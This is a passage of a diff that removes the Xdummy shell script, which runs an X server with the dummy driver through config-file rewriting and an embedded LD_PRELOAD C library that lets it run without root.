-tfile="$XDUMMY_TMPDIR/test.file"
-touch $tfile
-if [ ! -f "$tfile" ]; then
- XDUMMY_TMPDIR="/tmp/Xdummy.$$.$USER"
- warn "warning: setting tmpdir to $XDUMMY_TMPDIR ..."
- rm -rf $XDUMMY_TMPDIR || exit 1
- mkdir -p $XDUMMY_TMPDIR || exit 1
-fi
-rm -f $tfile
-
-export XDUMMY_TMPDIR
-
-# Compile the LD_PRELOAD shared object if needed (needs XDUMMY_TMPDIR)
-#
-if [ ! -f "$SO" ]; then
- SO="$XDUMMY_TMPDIR/Xdummy.so"
- make_so
-fi
-
-# Decide which X server to use:
-#
-if [ "X$xserver" = "X" ]; then
- if type Xorg >/dev/null 2>&1; then
- xserver="Xorg"
- elif type XFree86 >/dev/null 2>&1; then
- xserver="XFree86"
- elif -x /usr/bin/Xorg; then
- xserver="/usr/bin/Xorg"
- elif -x /usr/X11R6/bin/Xorg; then
- xserver="/usr/X11R6/bin/Xorg"
- elif -x /usr/X11R6/bin/XFree86; then
- xserver="/usr/X11R6/bin/XFree86"
- fi
- if [ "X$xserver" = "X" ]; then
- # just let it fail below.
- xserver="/usr/bin/Xorg"
- warn "$program: cannot locate a stock Xserver... assuming $xserver"
- fi
-fi
-
-# See if the binary is suid or not readable under -nonroot mode:
-#
-if [ "X$BASH_VERSION" != "X" ]; then
- xserver_path=`type -p $xserver 2>/dev/null`
-else
- xserver_path=`type $xserver 2>/dev/null | awk '{print $NF}'`
-fi
-if [ -e "$xserver_path" -a "X$root" = "X" -a "X$runit" != "X" ]; then
- if [ ! -r $xserver_path -o -u $xserver_path -o -g $xserver_path ]; then
- # XXX not quite correct with rm -rf $XDUMMY_TMPDIR ...
- # we keep on a filesystem we know root can write to.
- base=`basename "$xserver_path"`
- new="/tmp/$base.$user.bin"
- if [ -e $new ]; then
- snew=`ls -l $new | awk '{print $5}' | grep '^[0-9][0-9]*$'`
- sold=`ls -l $xserver_path | awk '{print $5}' | grep '^[0-9][0-9]*$'`
- if [ "X$snew" != "X" -a "X$sold" != "X" -a "X$sold" != "X$snew" ]; then
- warn "removing different sized copy:"
- ls -l $new $xserver_path
- rm -f $new
- fi
- fi
- if [ ! -e $new -o ! -s $new ]; then
- rm -f $new
- touch $new || exit 1
- chmod 700 $new || exit 1
- if [ ! -r $xserver_path ]; then
- warn ""
- warn "NEED TO COPY UNREADABLE $xserver_path to $new as root:"
- warn ""
- ls -l $xserver_path 1>&2
- warn ""
- warn "This only needs to be done once:"
- warn " cat $xserver_path > $new"
- warn ""
- nos=$nosudo
- if type sudo > /dev/null 2>&1; then
- :
- else
- nos=1
- fi
- if [ "X$nos" = "X1" ]; then
- warn "Please supply root passwd to 'su -c'"
- su -c "cat $xserver_path > $new"
- else
- warn "Please supply the sudo passwd if asked:"
- sudo /bin/sh -c "cat $xserver_path > $new"
- fi
- else
- warn ""
- warn "COPYING SETUID $xserver_path to $new"
- warn ""
- ls -l $xserver_path 1>&2
- warn ""
- cat $xserver_path > $new
- fi
- ls -l $new
- if [ -s $new ]; then
- :
- else
- rm -f $new
- ls -l $new
- exit 1
- fi
- warn ""
- warn "Please restart Xdummy now."
- exit 0
- fi
- if [ ! -O $new ]; then
- warn "file \"$new\" not owned by us!"
- ls -l $new
- exit 1
- fi
- xserver=$new
- fi
-fi
-
-# Work out display:
-#
-if [ "X$disp" != "X" ]; then
- :
-elif [ "X$1" != "X" ]; then
- if echo "$1" | grep '^:[0-9]' > /dev/null; then
- disp=$1
- shift
- elif [ "X$1" = "X:" ]; then
- # ":" means for us to find one.
- shift
- fi
-fi
-if [ "X$disp" = "X" -o "X$disp" = "X:" ]; then
- # try to find an open display port:
- # (tcp outdated...)
- ports=`netstat -ant | grep LISTEN | awk '{print $4}' | sed -e 's/^.*://'`
- n=0
- while [ $n -le 20 ]
- do
- port=`printf "60%02d" $n`
- if echo "$ports" | grep "^${port}\$" > /dev/null; then
- :
- else
- disp=":$n"
- warn "$program: auto-selected DISPLAY $disp"
- break
- fi
- n=`expr $n + 1`
- done
-fi
-
-# Work out which vt to use, try to find/guess an open one if necessary.
-#
-vt=""
-for arg in $*
-do
- if echo "$arg" | grep '^vt' > /dev/null; then
- vt=$arg
- break
- fi
-done
-if [ "X$vt" = "X" ]; then
- if [ "X$user" = "Xroot" ]; then
- # root can user fuser(1) to see if it is in use:
- if type fuser >/dev/null 2>&1; then
- # try /dev/tty17 thru /dev/tty32
- n=17
- while [ $n -le 32 ]
- do
- dev="/dev/tty$n"
- if fuser $dev >/dev/null 2>&1; then
- :
- else
- vt="vt$n"
- warn "$program: auto-selected VT $vt => $dev"
- break
- fi
- n=`expr $n + 1`
- done
- fi
- fi
- if [ "X$vt" = "X" ]; then
- # take a wild guess...
- vt=vt16
- warn "$program: selected fallback VT $vt"
- fi
-else
- vt=""
-fi
-
-# Decide flavor of Xserver:
-#
-stype=`basename "$xserver"`
-if echo "$stype" | grep -i xfree86 > /dev/null; then
- stype=xfree86
-else
- stype=xorg
-fi
-
-tweak_config() {
- in="$1"
- config2="$XDUMMY_TMPDIR/xdummy_modified_xconfig.conf"
- if [ "X$disp" != "X" ]; then
- d=`echo "$disp" | sed -e 's,/,,g' -e 's/:/_/g'`
- config2="$config2$d"
- fi
-
- # perl script to tweak the config file... add/delete options, etc.
- #
- env XDUMMY_GEOM=$geom \
- XDUMMY_DEPTH=$depth \
- XDUMMY_NOMODELINES=$nomodelines \
- perl > $config2 < $in -e '
- $n = 0;
- $geom = $ENV{XDUMMY_GEOM};
- $depth = $ENV{XDUMMY_DEPTH};
- $nomodelines = $ENV{XDUMMY_NOMODELINES};
- $mode_str = "";
- $videoram = "24000";
- $HorizSync = "30.0 - 130.0";
- $VertRefresh = "50.0 - 250.0";
- if ($geom ne "") {
- my $tmp = "";
- foreach $g (split(/,/, $geom)) {
- $tmp .= "\"$g\" ";
- if (!$nomodelines && $g =~ /(\d+)x(\d+)/) {
- my $w = $1;
- my $h = $2;
- $mode_str .= " Modeline \"$g\" ";
- my $dot = sprintf("%.2f", $w * $h * 70 * 1.e-6);
- $mode_str .= $dot;
- $mode_str .= " " . $w;
- $mode_str .= " " . int(1.02 * $w);
- $mode_str .= " " . int(1.10 * $w);
- $mode_str .= " " . int(1.20 * $w);
- $mode_str .= " " . $h;
- $mode_str .= " " . int($h + 1);
- $mode_str .= " " . int($h + 3);
- $mode_str .= " " . int($h + 20);
- $mode_str .= "\n";
- }
- }
- $tmp =~ s/\s*$//;
- $geom = $tmp;
- }
- while (<>) {
- if ($ENV{XDUMMY_NOTWEAK}) {
- print $_;
- next;
- }
- $n++;
- if (/^\s*#/) {
- # pass comments straight thru
- print;
- next;
- }
- if (/^\s*Section\s+(\S+)/i) {
- # start of Section
- $sect = $1;
- $sect =~ s/\W//g;
- $sect =~ y/A-Z/a-z/;
- $sects{$sect} = 1;
- print;
- next;
- }
- if (/^\s*EndSection/i) {
- # end of Section
- if ($sect eq "serverflags") {
- if (!$got_DontVTSwitch) {
- print " ##Xdummy:##\n";
- print " Option \"DontVTSwitch\" \"true\"\n";
- }
- if (!$got_AllowMouseOpenFail) {
- print " ##Xdummy:##\n";
- print " Option \"AllowMouseOpenFail\" \"true\"\n";
- }
- if (!$got_PciForceNone) {
- print " ##Xdummy:##\n";
- print " Option \"PciForceNone\" \"true\"\n";
- }
- } elsif ($sect eq "device") {
- if (!$got_Driver) {
- print " ##Xdummy:##\n";
- print " Driver \"dummy\"\n";
- }
- if (!$got_VideoRam) {
- print " ##Xdummy:##\n";
- print " VideoRam $videoram\n";
- }
- } elsif ($sect eq "screen") {
- if ($depth ne "" && !got_DefaultDepth) {
- print " ##Xdummy:##\n";
- print " DefaultDepth $depth\n";
- }
- if ($got_Monitor eq "") {
- print " ##Xdummy:##\n";
- print " Monitor \"Monitor0\"\n";
- }
- } elsif ($sect eq "monitor") {
- if (!got_HorizSync) {
- print " ##Xdummy:##\n";
- print " HorizSync $HorizSync\n";
- }
- if (!got_VertRefresh) {
- print " ##Xdummy:##\n";
- print " VertRefresh $VertRefresh\n";
- }
- if (!$nomodelines) {
- print " ##Xdummy:##\n";
- print $mode_str;
- }
- }
- $sect = "";
- print;
- next;
- }
-
- if (/^\s*SubSection\s+(\S+)/i) {
- # start of Section
- $subsect = $1;
- $subsect =~ s/\W//g;
- $subsect =~ y/A-Z/a-z/;
- $subsects{$subsect} = 1;
- if ($sect eq "screen" && $subsect eq "display") {
- $got_Modes = 0;
- }
- print;
- next;
- }
- if (/^\s*EndSubSection/i) {
- # end of SubSection
- if ($sect eq "screen") {
- if ($subsect eq "display") {
- if ($depth ne "" && !$set_Depth) {
- print " ##Xdummy:##\n";
- print " Depth\t$depth\n";
- }
- if ($geom ne "" && ! $got_Modes) {
- print " ##Xdummy:##\n";
- print " Modes\t$geom\n";
- }
- }
- }
- $subsect = "";
- print;
- next;
- }
-
- $l = $_;
- $l =~ s/#.*$//;
- if ($sect eq "serverflags") {
- if ($l =~ /^\s*Option.*DontVTSwitch/i) {
- $_ =~ s/false/true/ig;
- $got_DontVTSwitch = 1;
- }
- if ($l =~ /^\s*Option.*AllowMouseOpenFail/i) {
- $_ =~ s/false/true/ig;
- $got_AllowMouseOpenFail = 1;
- }
- if ($l =~ /^\s*Option.*PciForceNone/i) {
- $_ =~ s/false/true/ig;
- $got_PciForceNone= 1;
- }
- }
- if ($sect eq "module") {
- if ($l =~ /^\s*Load.*\b(dri|fbdevhw)\b/i) {
- $_ = "##Xdummy## $_";
- }
- }
- if ($sect eq "monitor") {
- if ($l =~ /^\s*HorizSync/i) {
- $got_HorizSync = 1;
- }
- if ($l =~ /^\s*VertRefresh/i) {
- $got_VertRefresh = 1;
- }
- }
- if ($sect eq "device") {
- if ($l =~ /^(\s*Driver)\b/i) {
- $_ = "$1 \"dummy\"\n";
- $got_Driver = 1;
- }
- if ($l =~ /^\s*VideoRam/i) {
- $got_VideoRam= 1;
- }
- }
- if ($sect eq "inputdevice") {
- if ($l =~ /^\s*Option.*\bDevice\b/i) {
- print " ##Xdummy:##\n";
- $_ = " Option \"Device\" \"/dev/dilbert$n\"\n";
- }
- }
- if ($sect eq "screen") {
- if ($l =~ /^\s*DefaultDepth\s+(\d+)/i) {
- if ($depth ne "") {
- print " ##Xdummy:##\n";
- $_ = " DefaultDepth\t$depth\n";
- }
- $got_DefaultDepth = 1;
- }
- if ($l =~ /^\s*Monitor\s+(\S+)/i) {
- $got_Monitor = $1;
- $got_Monitor =~ s/"//g;
- }
- if ($subsect eq "display") {
- if ($geom ne "") {
- if ($l =~ /^(\s*Modes)\b/i) {
- print " ##Xdummy:##\n";
- $_ = "$1 $geom\n";
- $got_Modes = 1;
- }
- }
- if ($l =~ /^\s*Depth\s+(\d+)/i) {
- my $d = $1;
- if (!$set_Depth && $depth ne "") {
- $set_Depth = 1;
- if ($depth != $d) {
- print " ##Xdummy:##\n";
- $_ = " Depth\t$depth\n";
- }
- }
- }
- }
- }
- print;
- }
- if ($ENV{XDUMMY_NOTWEAK}) {
- exit;
- }
- # create any crucial sections that are missing:
- if (! exists($sects{serverflags})) {
- print "\n##Xdummy:##\n";
- print "Section \"ServerFlags\"\n";
- print " Option \"DontVTSwitch\" \"true\"\n";
- print " Option \"AllowMouseOpenFail\" \"true\"\n";
- print " Option \"PciForceNone\" \"true\"\n";
- print "EndSection\n";
- }
- if (! exists($sects{device})) {
- print "\n##Xdummy:##\n";
- print "Section \"Device\"\n";
- print " Identifier \"Videocard0\"\n";
- print " Driver \"dummy\"\n";
- print " VideoRam $videoram\n";
- print "EndSection\n";
- }
- if (! exists($sects{monitor})) {
- print "\n##Xdummy:##\n";
- print "Section \"Monitor\"\n";
- print " Identifier \"Monitor0\"\n";
- print " HorizSync $HorizSync\n";
- print " VertRefresh $VertRefresh\n";
- print "EndSection\n";
- }
- if (! exists($sects{screen})) {
- print "\n##Xdummy:##\n";
- print "Section \"Screen\"\n";
- print " Identifier \"Screen0\"\n";
- print " Device \"Videocard0\"\n";
- if ($got_Monitor ne "") {
- print " Monitor \"$got_Monitor\"\n";
- } else {
- print " Monitor \"Monitor0\"\n";
- }
- if ($depth ne "") {
- print " DefaultDepth $depth\n";
- } else {
- print " DefaultDepth 24\n";
- }
- print " SubSection \"Display\"\n";
- print " Viewport 0 0\n";
- print " Depth 24\n";
- if ($got_Modes) {
- ;
- } elsif ($geom ne "") {
- print " Modes $geom\n";
- } else {
- print " Modes \"1280x1024\" \"1024x768\" \"800x600\"\n";
- }
- print " EndSubSection\n";
- print "EndSection\n";
- }
-';
-}
-
-# Work out config file and tweak it.
-#
-if [ "X$cmdline_config" = "X" ]; then
- :
-elif [ "X$cmdline_config" = "Xxdummy-builtin" ]; then
- :
-elif echo "$cmdline_config" | grep '/' > /dev/null; then
- :
-else
- # ignore basename only case (let server handle it)
- cmdline_config=""
- notweak=1
-fi
-
-config=$cmdline_config
-
-if [ "X$notweak" = "X1" -a "X$root" = "X" -a -f "$cmdline_config" ]; then
- # if not root we need to copy (but not tweak) the specified config.
- XDUMMY_NOTWEAK=1
- export XDUMMY_NOTWEAK
- notweak=""
-fi
-
-if [ ! $notweak ]; then
- # tweaked config will be put in $config2:
- config2=""
- if [ "X$config" = "X" ]; then
- # use the default one:
- if [ "X$stype" = "Xxorg" ]; then
- config=/etc/X11/xorg.conf
- else
- if [ -f "/etc/X11/XF86Config-4" ]; then
- config="/etc/X11/XF86Config-4"
- else
- config="/etc/X11/XF86Config"
- fi
- fi
- if [ ! -f "$config" ]; then
- for c in /etc/X11/xorg.conf /etc/X11/XF86Config-4 /etc/X11/XF86Config
- do
- if [ -f $c ]; then
- config=$c
- break
- fi
- done
- fi
- fi
-
- if [ "X$config" = "Xxdummy-builtin" ]; then
- config=""
- fi
-
- if [ ! -f "$config" ]; then
- config="$XDUMMY_TMPDIR/xorg.conf"
- warn "$program: using minimal built-in xorg.conf settings."
- cat > $config <<END
-
-Section "ServerLayout"
- Identifier "Layout0"
- Screen 0 "Screen0"
- InputDevice "Keyboard0" "CoreKeyboard"
- InputDevice "Mouse0" "CorePointer"
-EndSection
-
-Section "Files"
-EndSection
-
-Section "Module"
- Load "dbe"
- Load "extmod"
- Load "freetype"
- Load "glx"
-EndSection
-
-Section "InputDevice"
- Identifier "Mouse0"
- Driver "mouse"
- Option "Protocol" "auto"
- Option "Device" "/dev/psaux"
- Option "Emulate3Buttons" "no"
- Option "ZAxisMapping" "4 5"
-EndSection
-
-Section "InputDevice"
- Identifier "Keyboard0"
- Driver "kbd"
-EndSection
-
-Section "Monitor"
- Identifier "Monitor0"
- VendorName "Unknown"
- ModelName "Unknown"
- HorizSync 30.0 - 130.0
- VertRefresh 50.0 - 250.0
- Option "DPMS"
-EndSection
-
-Section "Device"
- Identifier "Device0"
- Driver "foovideo"
- VendorName "foovideo Corporation"
-EndSection
-
-Section "Screen"
- Identifier "Screen0"
- Device "Device0"
- Monitor "Monitor0"
- DefaultDepth 24
- SubSection "Display"
- Depth 24
- Modes "1280x1024"
- EndSubSection
-EndSection
-
-END
- fi
-
- if [ -f "$config" ]; then
- tweak_config $config
- fi
-
- # now we need to get our tweaked config file onto the command line:
- if [ "X$cmdline_config" = "X" ]; then
- # append to cmdline (FUBAR will be substituted below.)
- if [ "X$stype" = "Xxorg" ]; then
- args="$args -config FUBAR"
- else
- args="$args -xf86config FUBAR"
- fi
- fi
- if [ "X$config2" != "X" ]; then
- # or modify $args:
- c2=$config2
- if [ "X$root" = "X" ]; then
- # ordinary user cannot use absolute path.
- c2=`basename $config2`
- fi
- args=`echo "$args" | sed \
- -e "s,-config *[^ ][^ ]*,-config $c2,g" \
- -e "s,-xf86config *[^ ][^ ]*,-xf86config $c2,g"`
- fi
-fi
-
-if [ $prconf ]; then
- warn ""
- warn "Printing out the Xorg/XFree86 server config file:"
- warn ""
- if [ "X$config2" = "X" ]; then
- warn "NO CONFIG GENERATED."
- exit 1
- else
- cat "$config2"
- fi
- exit 0
-fi
-
-if [ $debug ]; then
- XDUMMY_DEBUG=1
- export XDUMMY_DEBUG
-fi
-if [ $root ]; then
- XDUMMY_ROOT=1
- export XDUMMY_ROOT
-fi
-
-# Finally, run it:
-#
-if [ "X$debug" != "X" -o "X$runit" = "X" ]; then
- if [ ! $runit ]; then
- echo ""
- echo "/usr/bin/env:"
- env | egrep -v '^(LS_COLORS|TERMCAP)' | sort
- echo ""
- echo "XDUMMY*:"
- env | grep '^XDUMMY' | sort
- echo ""
- fi
- warn ""
- warn "The command to run is:"
- warn ""
- so=$SO
- pwd=`pwd`
- if echo "$so" | grep '^\./' > /dev/null; then
- so=`echo "$so" | sed -e "s,^\.,$pwd,"`
- fi
- if echo "$so" | grep '/' > /dev/null; then
- :
- else
- so="$pwd/$so"
- fi
- warn "env LD_PRELOAD=$so $xserver $disp $args $vt"
- warn ""
- if [ ! $runit ]; then
- exit 0
- fi
-fi
-
-if [ $strace ]; then
- if [ "X$strace" = "X2" ]; then
- ltrace -f env LD_PRELOAD=$SO $xserver $disp $args $vt
- else
- strace -f env LD_PRELOAD=$SO $xserver $disp $args $vt
- fi
-else
- exec env LD_PRELOAD=$SO $xserver $disp $args $vt
-fi
-
-exit $?
-
-#########################################################################
-
-code() {
-#code_begin
-#include <stdio.h>
-#define O_ACCMODE 0003
-#define O_RDONLY 00
-#define O_WRONLY 01
-#define O_RDWR 02
-#define O_CREAT 0100 /* not fcntl */
-#define O_EXCL 0200 /* not fcntl */
-#define O_NOCTTY 0400 /* not fcntl */
-#define O_TRUNC 01000 /* not fcntl */
-#define O_APPEND 02000
-#define O_NONBLOCK 04000
-#define O_NDELAY O_NONBLOCK
-#define O_SYNC 010000
-#define O_FSYNC O_SYNC
-#define O_ASYNC 020000
-
-#include <unistd.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <linux/vt.h>
-#include <linux/kd.h>
-
-#define __USE_GNU
-#include <dlfcn.h>
-
-static char tmpdir[4096];
-static char str1[4096];
-static char str2[4096];
-
-static char devs[256][1024];
-static int debug = -1;
-static int root = -1;
-static int changed_uid = 0;
-static int saw_fonts = 0;
-static int saw_lib_modules = 0;
-
-static time_t start = 0;
-
-void check_debug(void) {
- if (debug < 0) {
- if (getenv("XDUMMY_DEBUG") != NULL) {
- debug = 1;
- } else {
- debug = 0;
- }
- /* prevent other processes using the preload: */
- putenv("LD_PRELOAD=");
- }
-}
-void check_root(void) {
- if (root < 0) {
- /* script tells us if we are root */
- if (getenv("XDUMMY_ROOT") != NULL) {
- root = 1;
- } else {
- root = 0;
- }
- }
-}
-
-void check_uid(void) {
- if (start == 0) {
- start = time(NULL);
- if (debug) fprintf(stderr, "START: %u\n", (unsigned int) start);
- return;
- } else if (changed_uid == 0) {
- if (saw_fonts || time(NULL) > start + 20) {
- if (getenv("XDUMMY_UID")) {
- int uid = atoi(getenv("XDUMMY_UID"));
- if (debug) fprintf(stderr, "SETREUID: %d saw_fonts=%d\n", uid, saw_fonts);
- if (uid >= 0) {
- /* this will simply fail in -nonroot mode: */
- setreuid(uid, -1);
- }
- }
- changed_uid = 1;
- }
- }
-}
-
-#define CHECKIT if (debug < 0) check_debug(); \
- if (root < 0) check_root(); \
- check_uid();
-
-static void set_tmpdir(void) {
- char *s;
- static int didset = 0;
- if (didset) {
- return;
- }
- s = getenv("XDUMMY_TMPDIR");
- if (! s) {
- s = "/tmp";
- }
- tmpdir[0] = '\0';
- strcat(tmpdir, s);
- strcat(tmpdir, "/");
- didset = 1;
-}
-
-static char *tmpdir_path(const char *path) {
- char *str;
- set_tmpdir();
- strcpy(str2, path);
- str = str2;
- while (*str) {
- if (*str == '/') {
- *str = '_';
- }
- str++;
- }
- strcpy(str1, tmpdir);
- strcat(str1, str2);
- return str1;
-}
-
-int open(const char *pathname, int flags, unsigned short mode) {
- int fd;
- char *store_dev = NULL;
- static int (*real_open)(const char *, int , unsigned short) = NULL;
-
- CHECKIT
- if (! real_open) {
- real_open = (int (*)(const char *, int , unsigned short))
- dlsym(RTLD_NEXT, "open");
- }
-
- if (strstr(pathname, "lib/modules/")) {
- /* not currently used. */
- saw_lib_modules = 1;
- }
-
- if (!root) {
- if (strstr(pathname, "/dev/") == pathname) {
- store_dev = strdup(pathname);
- }
- if (strstr(pathname, "/dev/tty") == pathname && strcmp(pathname, "/dev/tty")) {
- pathname = tmpdir_path(pathname);
- if (debug) fprintf(stderr, "OPEN: %s -> %s (as FIFO)\n", store_dev, pathname);
- /* we make it a FIFO so ioctl on it does not fail */
- unlink(pathname);
- mkfifo(pathname, 0666);
- } else if (0) {
- /* we used to handle more /dev files ... */
- fd = real_open(pathname, O_WRONLY|O_CREAT, 0777);
- close(fd);
- }
- }
-
- fd = real_open(pathname, flags, mode);
-
- if (debug) fprintf(stderr, "OPEN: %s %d %d fd=%d\n", pathname, flags, mode, fd);
-
- if (! root) {
- if (store_dev) {
- if (fd < 256) {
- strcpy(devs[fd], store_dev);
- }
- free(store_dev);
- }
- }
-
- return(fd);
-}
-
-int open64(const char *pathname, int flags, unsigned short mode) {
- int fd;
-
- CHECKIT
- if (debug) fprintf(stderr, "OPEN64: %s %d %d\n", pathname, flags, mode);
-
- fd = open(pathname, flags, mode);
- return(fd);
-}
-
-int rename(const char *oldpath, const char *newpath) {
- static int (*real_rename)(const char *, const char *) = NULL;
-
- CHECKIT
- if (! real_rename) {
- real_rename = (int (*)(const char *, const char *))
- dlsym(RTLD_NEXT, "rename");
- }
-
- if (debug) fprintf(stderr, "RENAME: %s %s\n", oldpath, newpath);
-
- if (root) {
- return(real_rename(oldpath, newpath));
- }
-
- if (strstr(oldpath, "/var/log") == oldpath) {
- if (debug) fprintf(stderr, "RENAME: returning 0\n");
- return 0;
- }
- return(real_rename(oldpath, newpath));
-}
-
-FILE *fopen(const char *pathname, const char *mode) {
- static FILE* (*real_fopen)(const char *, const char *) = NULL;
- char *str;
-
- if (! saw_fonts) {
- if (strstr(pathname, "/fonts/")) {
- if (strstr(pathname, "fonts.dir")) {
- saw_fonts = 1;
- } else if (strstr(pathname, "fonts.alias")) {
- saw_fonts = 1;
- }
- }
- }
-
- CHECKIT
- if (! real_fopen) {
- real_fopen = (FILE* (*)(const char *, const char *))
- dlsym(RTLD_NEXT, "fopen");
- }
-
- if (debug) fprintf(stderr, "FOPEN: %s %s\n", pathname, mode);
-
- if (strstr(pathname, "xdummy_modified_xconfig.conf")) {
- /* make our config appear to be in /etc/X11, etc. */
- char *q = strrchr(pathname, '/');
- if (q != NULL && getenv("XDUMMY_TMPDIR") != NULL) {
- strcpy(str1, getenv("XDUMMY_TMPDIR"));
- strcat(str1, q);
- if (debug) fprintf(stderr, "FOPEN: %s -> %s\n", pathname, str1);
- pathname = str1;
- }
- }
-
- if (root) {
- return(real_fopen(pathname, mode));
- }
-
- str = (char *) pathname;
- if (strstr(pathname, "/var/log") == pathname) {
- str = tmpdir_path(pathname);
- if (debug) fprintf(stderr, "FOPEN: %s -> %s\n", pathname, str);
- }
- return(real_fopen(str, mode));
-}
-
-
-#define RETURN0 if (debug) \
- {fprintf(stderr, "IOCTL: covered %d 0x%x\n", fd, req);} return 0;
-#define RETURN1 if (debug) \
- {fprintf(stderr, "IOCTL: covered %d 0x%x\n", fd, req);} return -1;
-
-int ioctl(int fd, int req, void *ptr) {
- static int closed_xf86Info_consoleFd = 0;
- static int (*real_ioctl)(int, int , void *) = NULL;
-
- CHECKIT
- if (! real_ioctl) {
- real_ioctl = (int (*)(int, int , void *))
- dlsym(RTLD_NEXT, "open");
- }
- if (debug) fprintf(stderr, "IOCTL: %d 0x%x %p\n", fd, req, ptr);
-
- /* based on xorg-x11-6.8.1-dualhead.patch */
- if (req == VT_GETMODE) {
- /* close(xf86Info.consoleFd) */
- if (0 && ! closed_xf86Info_consoleFd) {
- /* I think better not to close it... */
- close(fd);
- closed_xf86Info_consoleFd = 1;
- }
- RETURN0
- } else if (req == VT_SETMODE) {
- RETURN0
- } else if (req == VT_GETSTATE) {
- RETURN0
- } else if (req == KDSETMODE) {
- RETURN0
- } else if (req == KDSETLED) {
- RETURN0
- } else if (req == KDGKBMODE) {
- RETURN0
- } else if (req == KDSKBMODE) {
- RETURN0
- } else if (req == VT_ACTIVATE) {
- RETURN0
- } else if (req == VT_WAITACTIVE) {
- RETURN0
- } else if (req == VT_RELDISP) {
- if (ptr == (void *) 1) {
- RETURN1
- } else if (ptr == (void *) VT_ACKACQ) {
- RETURN0
- }
- }
-
- return(real_ioctl(fd, req, ptr));
-}
-
-typedef void (*sighandler_t)(int);
-#define SIGUSR1 10
-#define SIG_DFL ((sighandler_t)0)
-
-sighandler_t signal(int signum, sighandler_t handler) {
- static sighandler_t (*real_signal)(int, sighandler_t) = NULL;
-
- CHECKIT
- if (! real_signal) {
- real_signal = (sighandler_t (*)(int, sighandler_t))
- dlsym(RTLD_NEXT, "signal");
- }
-
- if (debug) fprintf(stderr, "SIGNAL: %d %p\n", signum, handler);
-
- if (signum == SIGUSR1) {
- if (debug) fprintf(stderr, "SIGNAL: skip SIGUSR1\n");
- return SIG_DFL;
- }
-
- return(real_signal(signum, handler));
-}
-
-int close(int fd) {
- static int (*real_close)(int) = NULL;
-
- CHECKIT
- if (! real_close) {
- real_close = (int (*)(int)) dlsym(RTLD_NEXT, "close");
- }
-
- if (debug) fprintf(stderr, "CLOSE: %d\n", fd);
- if (!root) {
- if (fd < 256) {
- devs[fd][0] = '\0';
- }
- }
- return(real_close(fd));
-}
-
-struct stat {
- int foo;
-};
-
-int stat(const char *path, struct stat *buf) {
- static int (*real_stat)(const char *, struct stat *) = NULL;
-
- CHECKIT
- if (! real_stat) {
- real_stat = (int (*)(const char *, struct stat *))
- dlsym(RTLD_NEXT, "stat");
- }
-
- if (debug) fprintf(stderr, "STAT: %s\n", path);
-
- return(real_stat(path, buf));
-}
-
-int stat64(const char *path, struct stat *buf) {
- static int (*real_stat64)(const char *, struct stat *) = NULL;
-
- CHECKIT
- if (! real_stat64) {
- real_stat64 = (int (*)(const char *, struct stat *))
- dlsym(RTLD_NEXT, "stat64");
- }
-
- if (debug) fprintf(stderr, "STAT64: %s\n", path);
-
- return(real_stat64(path, buf));
-}
-
-int chown(const char *path, uid_t owner, gid_t group) {
- static int (*real_chown)(const char *, uid_t, gid_t) = NULL;
-
- CHECKIT
- if (! real_chown) {
- real_chown = (int (*)(const char *, uid_t, gid_t))
- dlsym(RTLD_NEXT, "chown");
- }
-
- if (root) {
- return(real_chown(path, owner, group));
- }
-
- if (debug) fprintf(stderr, "CHOWN: %s %d %d\n", path, owner, group);
-
- if (strstr(path, "/dev") == path) {
- if (debug) fprintf(stderr, "CHOWN: return 0\n");
- return 0;
- }
-
- return(real_chown(path, owner, group));
-}
-
-extern int *__errno_location (void);
-#ifndef ENODEV
-#define ENODEV 19
-#endif
-
-int ioperm(unsigned long from, unsigned long num, int turn_on) {
- static int (*real_ioperm)(unsigned long, unsigned long, int) = NULL;
-
- CHECKIT
- if (! real_ioperm) {
- real_ioperm = (int (*)(unsigned long, unsigned long, int))
- dlsym(RTLD_NEXT, "ioperm");
- }
- if (debug) fprintf(stderr, "IOPERM: %d %d %d\n", (int) from, (int) num, turn_on);
- if (root) {
- return(real_ioperm(from, num, turn_on));
- }
- if (from == 0 && num == 1024 && turn_on == 1) {
- /* we want xf86EnableIO to fail */
- if (debug) fprintf(stderr, "IOPERM: setting ENODEV.\n");
- *__errno_location() = ENODEV;
- return -1;
- }
- return 0;
-}
-
-int iopl(int level) {
- static int (*real_iopl)(int) = NULL;
-
- CHECKIT
- if (! real_iopl) {
- real_iopl = (int (*)(int)) dlsym(RTLD_NEXT, "iopl");
- }
- if (debug) fprintf(stderr, "IOPL: %d\n", level);
- if (root) {
- return(real_iopl(level));
- }
- return 0;
-}
-
-#ifdef INTERPOSE_GETUID
-
-/*
- * we got things to work w/o pretending to be root.
- * so we no longer interpose getuid(), etc.
- */
-
-uid_t getuid(void) {
- static uid_t (*real_getuid)(void) = NULL;
- CHECKIT
- if (! real_getuid) {
- real_getuid = (uid_t (*)(void)) dlsym(RTLD_NEXT, "getuid");
- }
- if (root) {
- return(real_getuid());
- }
- if (debug) fprintf(stderr, "GETUID: 0\n");
- return 0;
-}
-uid_t geteuid(void) {
- static uid_t (*real_geteuid)(void) = NULL;
- CHECKIT
- if (! real_geteuid) {
- real_geteuid = (uid_t (*)(void)) dlsym(RTLD_NEXT, "geteuid");
- }
- if (root) {
- return(real_geteuid());
- }
- if (debug) fprintf(stderr, "GETEUID: 0\n");
- return 0;
-}
-uid_t geteuid_kludge1(void) {
- static uid_t (*real_geteuid)(void) = NULL;
- CHECKIT
- if (! real_geteuid) {
- real_geteuid = (uid_t (*)(void)) dlsym(RTLD_NEXT, "geteuid");
- }
- if (debug) fprintf(stderr, "GETEUID: 0 saw_libmodules=%d\n", saw_lib_modules);
- if (root && !saw_lib_modules) {
- return(real_geteuid());
- } else {
- saw_lib_modules = 0;
- return 0;
- }
-}
-
-uid_t getuid32(void) {
- static uid_t (*real_getuid32)(void) = NULL;
- CHECKIT
- if (! real_getuid32) {
- real_getuid32 = (uid_t (*)(void)) dlsym(RTLD_NEXT, "getuid32");
- }
- if (root) {
- return(real_getuid32());
- }
- if (debug) fprintf(stderr, "GETUID32: 0\n");
- return 0;
-}
-uid_t geteuid32(void) {
- static uid_t (*real_geteuid32)(void) = NULL;
- CHECKIT
- if (! real_geteuid32) {
- real_geteuid32 = (uid_t (*)(void)) dlsym(RTLD_NEXT, "geteuid32");
- }
- if (root) {
- return(real_geteuid32());
- }
- if (debug) fprintf(stderr, "GETEUID32: 0\n");
- return 0;
-}
-
-gid_t getgid(void) {
- static gid_t (*real_getgid)(void) = NULL;
- CHECKIT
- if (! real_getgid) {
